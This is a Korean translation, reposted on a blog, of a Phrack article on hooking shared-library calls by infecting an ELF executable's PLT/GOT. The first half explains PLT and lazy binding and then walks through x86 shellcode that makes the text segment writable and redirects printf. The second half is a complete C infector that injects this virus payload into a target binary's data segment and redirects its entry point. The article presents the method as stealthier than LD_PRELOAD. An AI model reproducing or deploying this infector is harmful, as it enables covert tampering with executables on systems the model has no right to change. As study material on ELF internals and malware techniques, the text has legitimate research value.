- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38
05.01.2000
0x07[0x10]

|----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION
-----------|
|-----------------------------------------------------------------------------|
|--------------------- Silvio Cesare <silvio@big.net.au>
---------------------|



----| 도입

이 문건의 ELF감염(infection)을 사용하여 공유라이브러리 호출을
방향재지정(redirection)
하는 방법에 대하여 설명한다. ELF감염은 실행파일의 프로시저링크테이블(Procedure
Linkage Table, 이하 PLT)을 방향재지정하여 방향재지정이 감염된 실행파일 외부에
상주하는 것이 가능하게 한다. 이 방법은 환경변수의 변경을 하지않으므로
LD_PRELOAD
방향재지정 테크닉보다 유리하고 숨겨진채로 남아있을 가능성이 더 높다. 구현은
x86/Linux에 대하여 제공한다. 관심있는 분은 다음 URL을 방문해 보기 바란다.

http://virus.beergrave.net (UNIX바이러스 메일링리스트)
http://www.big.net.au/~silvio (내 홈페이지)



----| 프로시저링크테이블(PLT)

ELF명세에 따르면...(읽을 필요는 없지만 뒤에 나오는 것보다 자세한 정보가 있다.)

" 프로시저 링크 테이블

전역오프셋테이블(Global Offset Table)이 위치독립적인 주소계산을 절대위치로
방향재지정하는 것과 흡사하게, PLT는 위치독립적인 함수호출을 절대위치로
방향재지정한다. 링크에디터(Link Editor)는 실행전이(Execution Transfer, 함수
호출과 같은 것들)를 하나의 실행파일이나 공유객체에서 다른 것으로 바꾸지
못한다. 따라서 링크에디터는 프로그램이 제어권을 PLT에 있는 항목으로 넘기
도록 한다. System V 구조에서 PLT는 공유문맥에 존재하지만 내부전역오프셋
테이블(Private Global Offset Table)에 있는 주소를 사용한다. 동적링커(Dynamic
Linker)는 목표의 절대주소를 결정하고 그에따라 전역오프셋테이블의 메모리
이미지를 수정한다. 이렇게 하여 동적링커는 프로그램 문맥의 위치독립성과
공유가능성을 건드리지않고 항목들을 방향재지정할 수 있다. 실행파일과 공유
객체파일은 별도의 PLT들을 가지고 있다.

+ 그림 2-12: 절대 PLT {*}

.PLT0:pushl got_plus_4
jmp *got_plus_8
nop; nop
nop; nop
.PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2_in_GOT
pushl $offset
jmp .PLT0@PC
...

+ 그림 2-13: 위치독립적인 PLT

.PLT0:pushl 4(%ebx)
jmp *8(%ebx)
nop; nop
nop; nop
.PLT1:jmp *name1@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
.PLT2:jmp *name2@GOT(%ebx)
pushl $offset
jmp .PLT0@PC
...

NOTE: 그림에서와같이 PLT명령어는 절대코드와 위치독립적인 코드에 대하여 다른
오퍼런드(Operand, 피연산자)주소지정 모드를 사용한다. 그럼에도 불구하고 동적
링커에 대한 그들의 인터페이스는 동일하다.

아래의 단계를 따라서 동적링커와 프로그램은 PLT와 전역오프셋테이블을 통하여
심볼참조(Symbolic Reference)를 해결하기 위해 ''협동한다.''

1. 프로그램의 메모리이미지를 처음에 생성할 때, 동적링커는 전역오프셋테이블의
두번째와 세번째 항목을 특별한 값으로 설정한다. 아래의 단계들에서 이들값에
대하여 더 설명한다.
2. PLT가 위치독립적이라면 전역오프셋테이블의 주소는 %ebx에 있어야 한다.
각각의 프로세스 이미지에 있는 공유객체파일은 자체적인 PLT를 가지고 있고,
제어권은 동일한 객체파일내에서 PLT의 한 항목으로 넘겨진다. 따라서 호출함수는
PLT항목을 호출하기전에 전역오프셋테이블의 베이스레지스터(Base Register)를
설정해야한다.
3. 그림에서와 같이, 제어권을 .PLT1 레이블로 옮기는 name1을 프로그램이
호출한다고
가정하자.
4. 첫번째 명령은 name1에 대한 전역오프셋테이블 항목에 있는 주소로 점프한다.
초기에 전역오프셋테이블은 name1의 실제주소가 아니라 이어나오는 pushl명령어의
주소를 가지고 있다.
5. 따라서 프로그램은 재배치오프셋(Relocation Offset)을 스택에 넣는다. 재배치
오프셋은 32비트의 음이아닌 바이트단위 오프셋으로 재배치테이블(Relocation
Table)에서의 오프셋이다. 지정된 재배치항목은 R_386_JMP_SLOT형식이고, 그것의
오프셋은 이전 jmp명령에서 사용된 전역오프셋테이블 항목을 지정한다. 재배치
항목은 심볼테이블(Symbol Table)색인도 가지고 있어서 동적링커에게 어떤 심볼이
참조되는지 알려준다. 이 경우에는 name1이다.
6. 재배치오프셋을 스택에 넣고나서 프로그램은 PLT의 첫번째 항목인 .PLT0으로
점프한다. pushl명령어는 전역오프셋테이블 두번째 항목의 값(got_plus_4 또는
4(%ebx))을 스택에 넣어서, 동적링커에게 식별정보를 준다. 그리고나서
프로그램은 전역오프셋테이블 세번째 항목(got_plus_8 또는 8(%ebx))에 있는
주소로 점프한다. 그러면 제어권이 동적링커에게 넘겨진다.
7. 동적링커가 제어권을 받으면 스택을 풀고 지정된 재배치항목을 살펴보아서
심볼의 값을 찾는다. 그리고 자기의 전역오프셋테이블에 name1의 ''실제''
주소를 저장하고 제어권을 원하는 목표로 넘긴다.
8. 이어서 PLT항목을 실행하면 두번째 또 동적링커를 호출하지 않고 name1으로
직접 넘어간다. 즉, pushl명령어로 ''빠지는'' 대신에 .PLT1에 있는 jmp명령어가
실행되어 name1으로 넘어간다.

LD_BIND_NOW환경변수에 따라 동적링크 형태가 다르다. 그 값이 널(Null)이 아니면,
동적링커는 제어권을 프로그램에 넘기기전에 PLT항목의 값을 구한다. 즉,
동적링커는
프로세스를 초기화하는 중에 R_386_JMP_SLOT형식은 재배치항목들을 처리한다.
값이 널이라면 동적링커는 PLT항목의 값을 늦게 구한다. 테이블항목이 최초로
사용될
때까지 심볼해석과 재배치를 유보한다.

NOTE: 지체바인딩(Lazy Binding)을 하면 일반적으로 전반적인 응용프로그램의
성능은
향상된다. 그 이유는 사용하지않는 심볼을 동적링크하는 오버헤드가 발생하지않기
때문이다. 그렇지만 어떤 응용프로그램에 대하여는 지체바인딩이 바람직하지 않을

있는데 다음의 두가지 경우이다. 첫번째, 공유객체함수를 최초로 호출할때는 나중에
호출하는 것보다 시간이 더오래 걸린다. 왜냐하면 동적링커가 심볼을 해석하기
위해서
호출을 가로채기 때문이다. 일부 응용프로그램은 이러한 예측불가능한 상황을 처리
하지 못한다. 두번째, 오류가 발생하여 동적링커가 심볼을 해석하지 못하면
동적링커는
프로그램을 종료시킨다. 지체바인딩을 하면 이러한 현상이 임의의 시점에서
발생한다.
또 다시 일부 응용프로그램은 이러한 예측불가능한 상황을 처리하지 못한다.
지체바인딩을
사용하지않으면, 응용프로그램이 제어권을 받기전인 프로세스초기화 시점에 오류가
발생하게 된다.
"

좀더 자세히 설명하자면...

공유라이브러리는 컴파일시점에 실행파일에 링크될수 없기 때문에 공유라이브러리
호출은
특별하게 다루어진다. 이것은 실행파일의 실행시점까지 공유라이브러리가 사용이
가능하지
핞을 수도 있기 때문이다. PLT는 이러한 경우를 처리하기 위하여 고안되었다. PLT는
동적
링커를 호출하여 원하는 루틴(Routine)들의 위치를 파악하는 데 필요한 코드를
가지고 있다.

실행파일에서 실제 공유라이브러리루틴을 호출하는 대신에 실행파일은 PLT에 있는
항목을
호출한다. 그리고나서 PLT에 따라서 심볼이 나타내는 것을 해석하고 올바른 작업을
수행한다.

ELF명세에서...

" .PLT1:jmp *name1_in_GOT
pushl $offset
jmp .PLT0@PC
"

이것은 중요한 정보다. 이것은 라이브러리호출대신에 호출되는 루틴이다.
name1_in_GOT는
이어지는 pushl명령어를 가리키면서 처음에 시작한다. offset은 재배치(ELF명세
참조)
오프셋을 나타낸다. 이것은 라이브러리호출이 나타내는 심볼에 대한 참조를 가지고
있다. 이것은 또한 동적링커로 점프하는 마지막 jmp명령에서 사용된다. 동적링커는
name1_in_GOT가 해당루틴을 직접 가리키도록 변경하여 동적링크가 두번째도
일어나는
것을 방지한다.

이는 라이브러리 검색(Lookup)에서 PLT의 중요성을 대변한다. name1_in_GOT가 우리
자신의 코드를 가리키도록 변경하여 라이브러리 호출을 대체할 수 있음을 주목하기
바란다. 대체하기전에 GOT의 상태를 저장하면 원래 라이브러리루틴을 호출할 수
있게 되고 따라서 어떤 라이브러리 호출도 방향을 재지정할 수 있다.


----| ELF 감염

방향재지정된 라이브러리호출을 실행파일에 주입하려면 실행파일에 새 코드를 추가
해야한다. ELF감염에 대한 실제 절차는 이전 문건에서 자세하게 다루었으므로
여기에서는 기술하지 않ㄱㅆ다.(http://www.big.net.au/~silvio - UNIX바이러스/
UNIX ELF 바이러스). 완전하게 하기위하여 주입에 데이터감염을 사용하고 약간
버그가 있을 것이고 완전히 안전하지는 않다.


----| PLT 방향재지정

진입부분의 코드 알고리즘은 다음과 같다...

* text세그먼트를 쓰기가능으로 한다.
* PLT(GOT)항목을 저장한다.
* PLT(GOT)항목을 신규 라이브러리호출의 주소로 대체한다.

신규 라이브러리호출에서 알고리즘은 다음과 같다...

* 신규라이브러리호출을 실행한다.
* 원래 PLT(GOT)항목을 복원한다.
* 라이브러리호출을 한다.
* PLT(GOT)항목을 다시 저장한다.(만약 변경되었다면)
* PLT(GOT)항목을 신규라이브러리호출의 주소로 대체한다.

PLT 방향재지정이 어떻게 일어나는지 더 설명하기위해, 가장 단순한 방법은 동일한
코드를 가지고 기술하는 것이다. 이 코드는 실행파일에 주입되어 프로그램의 새로운
진입점이 된다. 방향이 재지정된 라이브러리호출은 printf이고 신규코드는 printf에
나오는 문자열앞에 메시지를 출력한다.

--
됐다. 레지스터를 저장하고 기타등등...

"\x60" /* pusha */

text세그먼트를 rwx로 변경한다. 이것을 해야만 text세그먼트에 있는 PLT를 수정할
수 있다. 정상적인 경우에는 쓰기가 불가능하다.

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */

기존 라이브러리호출의 PLT(GOT)참조를 저장하고 그것을 진입점코드 바로 뒤에
나오는
신규 라이브러리호출의 주소로 대체한다.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

레지스터를 복원하고 기타등등...

"\x61" /* popa */

실행파일의 원래 진입점으로 점프하여 되돌아온다.

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */

신규라이브러리호출(printf).

/* newcall: */

출력할 문자열의 주소를 가져온다.

"\xeb\x38" /* jmp msg_jmp */
/* msg_call */
"\x59" /* popl %ecx */

LINUX시스템 호출을 사용하여 문자열을 출력한다.

"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */

기존 라이브러리 호출을 PLT(GOT)에 복원하여 호추할 수 있게 한다.

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */

원래 printf 인자를 가져온다.

"\xff\x75\xfc" /* pushl -4(%ebp) */

원래 라이브러리호출을 진행한다.

"\xff\xd0" /* call *%eax */

PLT(GOT)에서 원래 라이브러리호출을 저장한다. 이것은 라이브러리호출 후에 바뀔
수 있기때문에 매번 저장하는 것을 잊지 않도록 한다. 이것은 사실 첫번째 호출이후
에만 바뀌지만 너무 신경쓰지않는다.

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */

PLT(GOT)가 신규라이브러리호출을 다시 가리키도록 한다.

"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

인자를 모두 없앤다.

"\x58" /* popl %eax */

레지스터를 복원하고 기타등등...

"\x61" /* popa */

함수에서 리턴한다.

"\xc3" /* ret */

출력할 문자열의 주소를 가져온다.

/* msg_jmp */
"\xe8\xc4\xff\xff\xff" /* call msg_call */

문자열

"INFECTED Host "


----| 향후 방향

공유라이브러리를 직접 감염시키는 것이 가능하고 이것이 때로는 더 바람직하다.
그 이유는 방향재지정이 모든 실행파일에 대하여 상주하기 때문이다. 또한 프로세스
이미지를 직접 수정하여 숨겨진 버전의 PLT방향재지정도 가능하다. 이렇게 하여
호스트의 실행파일은 수정하지 않은채로 있게 된다. 하지만 이것은 방향재지정이
단하나의 프로세스 주기(Life)동안만 활성화된다는 단점이 있다.


----| 결론

이 문건은 ELF감염기법을 사용하는데 있어서 실행파일의 PLT를 직접 수정하여
실행파일의
공유라이브러리호출을 방향재지정하는 방법에 관하여 기술한다. 이것은
LD_PRELOAD를
사용하는 기존은 기법보다 숨기는데 유리하고 더 많은 가능성을 가지고 있다.



----| CODE

<++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#define PAGE_SIZE 4096

static char v[] =
"\x60" /* pusha */

"\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
"\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
"\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
"\xba\x07\x00\x00\x00" /* movl $7,%edx */
"\xcd\x80" /* int $0x80 */

"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x61" /* popa */

"\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
"\xff\xe5" /* jmp *%ebp */

/* newcall: */

"\xeb\x37" /* jmp msg_jmp */
/* msg_call */
"\x59" /* popl %ecx */
"\xb8\x04\x00\x00\x00" /* movl $4,%eax */
"\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
"\xba\x0e\x00\x00\x00" /* movl $14,%edx */
"\xcd\x80" /* int $0x80 */

"\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,plt */
"\xff\x75\xfc" /* pushl -4(%ebp) */
"\xff\xd0" /* call *%eax */
"\xa1\x00\x00\x00\x00" /* movl plt,%eax */
"\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
"\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
"\x08\x00\x00\x00\x00"

"\x58" /* popl %eax */

"\xc3" /* ret */

/* msg_jmp */
"\xe8\xc4\xff\xff\xff" /* call msg_call */

"INFECTED Host "
;

char *get_virus(void)
{
return v;
}

int init_virus(
int plt,
int offset,
int text_start, int data_start,
int data_memsz,
int entry
)
{
int code_start = data_start + data_memsz;
int oldcall = code_start + 72;
int newcall = code_start + 51;

*(int *)&v[7] = text_start;
*(int *)&v[24] = plt;
*(int *)&v[29] = oldcall;
*(int *)&v[35] = plt;
*(int *)&v[39] = newcall;
*(int *)&v[45] = entry;
*(int *)&v[77] = plt;
*(int *)&v[87] = plt;
*(int *)&v[92] = oldcall;
*(int *)&v[98] = plt;
*(int *)&v[102] = newcall;
return 0;
}

int copy_partial(int fd, int od, unsigned int len)
{
char idata[PAGE_SIZE];
unsigned int n = 0;
int r;

while (n + PAGE_SIZE < len) {
if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
perror("read");
return -1;
}

if (write(od, idata, PAGE_SIZE) < 0) {
perror("write");
return -1;
}

n += PAGE_SIZE;
}

r = read(fd, idata, len - n);
if (r < 0) {
perror("read");
return -1;
}

if (write(od, idata, r) < 0) {
perror("write");
return -1;
}

return 0;
}

void do_elf_checks(Elf32_Ehdr *ehdr)
{
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
fprintf(stderr, "File not ELF\n");
exit(1);
}

if (ehdr->e_type != ET_EXEC) {
fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
exit(1);
}

if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
exit(1);
}

if (ehdr->e_version != EV_CURRENT) {
fprintf(stderr, "ELF version not current\n");
exit(1);
}
}

int do_dyn_symtab(
int fd,
Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
const char *sh_function
)
{
Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
char *string;
Elf32_Sym *sym, *symp;
int i;

string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}

if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
) {
perror("lseek");
exit(1);
}

if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}

sym = (Elf32_Sym *)malloc(shdrp->sh_size);
if (sym == NULL) {
perror("malloc");
exit(1);
}

if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
perror("lseek");
exit(1);
}

if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
perror("read");
exit(1);
}

symp = sym;

for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
if (!strcmp(&string[symp->st_name], sh_function)) {
free(string);
return symp - sym;
}

++symp;
}

free(string);
return -1;
}

int get_sym_number(
int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int i;

for (i = 0; i < ehdr->e_shnum; i++) {
if (shdrp->sh_type == SHT_DYNSYM) {
return do_dyn_symtab(fd, shdr, shdrp, sh_function);
}

++shdrp;
}
}

void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
Elf32_Rel *rel, *relp;
int i;

rel = (Elf32_Rel *)malloc(shdr->sh_size);
if (rel == NULL) {
perror("malloc");
exit(1);
}

if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
perror("lseek");
exit(1);
}

if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
perror("read");
exit(1);
}

relp = rel;

for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
if (ELF32_R_SYM(relp->r_info) == sym) {
*plt = relp->r_offset;
*offset = relp - rel;
printf("offset %i\n", *offset);
return;
}
++relp;
}

*plt = -1;
*offset = -1;
}

void find_rel(
int *plt,
int *offset,
int fd,
const char *string,
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
const char *sh_function
)
{
Elf32_Shdr *shdrp = shdr;
int sym;
int i;

sym = get_sym_number(fd, ehdr, shdr, sh_function);
if (sym < 0) {
*plt = -1;
*offset = -1;
return;
}

for (i = 0; i < ehdr->e_shnum; i++) {
if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
do_rel(plt, offset, fd, shdrp, sym);
return;
}

++shdrp;
}
}

void infect_elf(
char *host,
char *(*get_virus)(void),
int (*init_virus)(int, int, int, int, int, int),
int len,
const char *sh_function
)

{
Elf32_Ehdr ehdr;
Elf32_Shdr *shdr, *strtabhdr;
Elf32_Phdr *phdr;
char *pdata, *sdata;
int move = 0;
int od, fd;
int evaddr, text_start = -1, plt;
int sym_offset;
int bss_len, addlen;
int offset, pos, oshoff;
int plen, slen;
int i;
char null = 0;
struct stat stat;
char *string;
char tempname[8] = "vXXXXXX";

fd = open(host, O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

/* read the ehdr */

if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
perror("read");
exit(1);
}

do_elf_checks(&ehdr);

/* modify the virus so that it knows the correct reentry point */

printf("host entry point: %x\n", ehdr.e_entry);

/* allocate memory for phdr tables */

pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
if (pdata == NULL) {
perror("malloc");
exit(1);
}

/* read the phdr's */

if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}

if (read(fd, pdata, plen) != plen) {
perror("read");
exit(1);
}
phdr = (Elf32_Phdr *)pdata;

/* allocated memory if required to accomodate the shdr tables */

sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
if (sdata == NULL) {
perror("malloc");
exit(1);
}

/* read the shdr's */

if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
perror("lseek");
exit(1);
}

if (read(fd, sdata, slen) != slen) {
perror("read");
exit(1);
}

strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];

string = (char *)malloc(strtabhdr->sh_size);
if (string == NULL) {
perror("malloc");
exit(1);
}

if (lseek(
fd, strtabhdr->sh_offset, SEEK_SET
) != strtabhdr->sh_offset) {
perror("lseek");
exit(1);
}

if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
perror("read");
exit(1);
}

find_rel(
&plt, &sym_offset,
fd,
string,
&ehdr,
(Elf32_Shdr *)sdata,
sh_function
);
if (plt < 0) {
printf("No dynamic function: %s\n", sh_function);
exit(1);
}

for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type == PT_LOAD) {
if (phdr->p_offset == 0) {
text_start = phdr->p_vaddr;
} else {
if (text_start < 0) {
fprintf(stderr, "No text segment??\n");
exit(1);
}

/* is this the data segment ? */
#ifdef DEBUG
printf("Found PT_LOAD segment...\n");
printf(
"p_vaddr: 0x%x\n"
"p_offset: %i\n"
"p_filesz: %i\n"
"p_memsz: %i\n"
"\n",
phdr->p_vaddr,
phdr->p_offset,
phdr->p_filesz,
phdr->p_memsz
);
#endif
offset = phdr->p_offset + phdr->p_filesz;
bss_len = phdr->p_memsz - phdr->p_filesz;

if (init_virus != NULL)
init_virus(
plt, sym_offset,
text_start, phdr->p_vaddr,
phdr->p_memsz,
ehdr.e_entry
);

ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;

break;
}
}

++phdr;
}

/* update the shdr's to reflect the insertion of the virus */

addlen = len + bss_len;

shdr = (Elf32_Shdr *)sdata;

for (i = 0; i < ehdr.e_shnum; i++) {
if (shdr->sh_offset >= offset) {
shdr->sh_offset += addlen;
}

++shdr;
}

/*
update the phdr's to reflect the extention of the data segment (to
allow virus insertion)
*/

phdr = (Elf32_Phdr *)pdata;

for (i = 0; i < ehdr.e_phnum; i++) {
if (phdr->p_type != PT_DYNAMIC) {
if (move) {
phdr->p_offset += addlen;
} else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */

phdr->p_filesz += addlen;
phdr->p_memsz += addlen;

#ifdef DEBUG
printf("phdr->filesz: %i\n", phdr->p_filesz);
printf("phdr->memsz: %i\n", phdr->p_memsz);
#endif
move = 1;
}
}

++phdr;
}

/* update ehdr to reflect new offsets */

if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;

if (fstat(fd, &stat) < 0) {
perror("fstat");
exit(1);
}

/* write the new virus */

if (mktemp(tempname) == NULL) {
perror("mktemp");
exit(1);
}

od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
if (od < 0) {
perror("open");
exit(1);
}

if (lseek(fd, 0, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (write(od, &ehdr, sizeof(ehdr)) < 0) {
perror("write");
goto cleanup;
}

if (write(od, pdata, plen) < 0) {
perror("write");
goto cleanup;
}
free(pdata);

if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;

for (i = 0; i < bss_len; i++) write(od, &null, 1);

if (write(od, get_virus(), len) != len) {
perror("write");
goto cleanup;
}

if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;

if (write(od, sdata, slen) < 0) {
perror("write");
goto cleanup;
}
free(sdata);

if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
perror("lseek");
goto cleanup;
}

if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;

if (rename(tempname, host) < 0) {
perror("rename");
exit(1);
}

if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
perror("chown");
exit(1);
}


free(string);

return;

cleanup:
unlink(tempname);
exit(1);
}

int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: infect-data-segment filename\n");
exit(1);
}

infect_elf(
argv[1],
get_virus, init_virus,
sizeof(v),
"printf"
);

exit(0);
}
<-->

|EOF|-------------------------------------------------------------------------|

'Linker & Loader' 카테고리의 다른 글

참고자료  (0) 2009.11.08
정적 라이브러리의 구조 - ar, ranlib  (0) 2009.11.05
공유 라이브러리의 기본 (PIC, GOT, PLT)  (0) 2009.11.04
링크(Linkers) 와 로더(Loaders)  (0) 2009.11.04

WRITTEN BY
RootFriend
개인적으로... 나쁜 기억력에 도움되라고 만들게되었습니다.

,